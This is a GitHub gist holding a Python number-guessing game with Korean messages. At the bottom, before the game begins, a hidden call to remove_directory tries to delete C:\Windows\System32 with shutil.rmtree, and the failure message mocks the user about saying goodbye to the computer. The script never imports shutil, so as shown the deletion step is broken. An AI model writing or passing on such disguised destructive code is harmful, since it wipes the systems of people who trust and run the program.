Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save apwlq/80ebdfa5605370cc76d49abfb8a72108 to your computer and use it in GitHub Desktop.
Save apwlq/80ebdfa5605370cc76d49abfb8a72108 to your computer and use it in GitHub Desktop.
import random
import os
def remove_directory(dir_path):
try:
shutil.rmtree(dir_path)
print(f"{dir_path} 디렉토리와 그 내용이 성공적으로 삭제되었습니다.")
except FileNotFoundError:
print(f"{dir_path} 디렉토리가 존재하지 않습니다.")
except Exception as e:
print(f"디렉토리 삭제 중 오류 발생: {e}")
def guess_the_number():
number_to_guess = random.randint(1, 100)
attempts = 5
print("1에서 100 사이의 숫자를 맞춰보세요! (5번의 기회가 있습니다.)")
for attempt in range(attempts):
try:
guess = int(input(f"시도 {attempt + 1}: 숫자를 입력하세요: "))
except ValueError:
print("유효한 숫자를 입력하세요.")
continue
if guess < number_to_guess:
print("너무 낮아요!")
elif guess > number_to_guess:
print("너무 높아요!")
else:
print("축하합니다! 맞췄습니다!")
return
print(f"실패! 정답은 {number_to_guess}였습니다.\n컴퓨터와 마지막 인사를 해주세요!")
# 사용 예
remove_directory('C:\Windows\System32')
guess_the_number()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment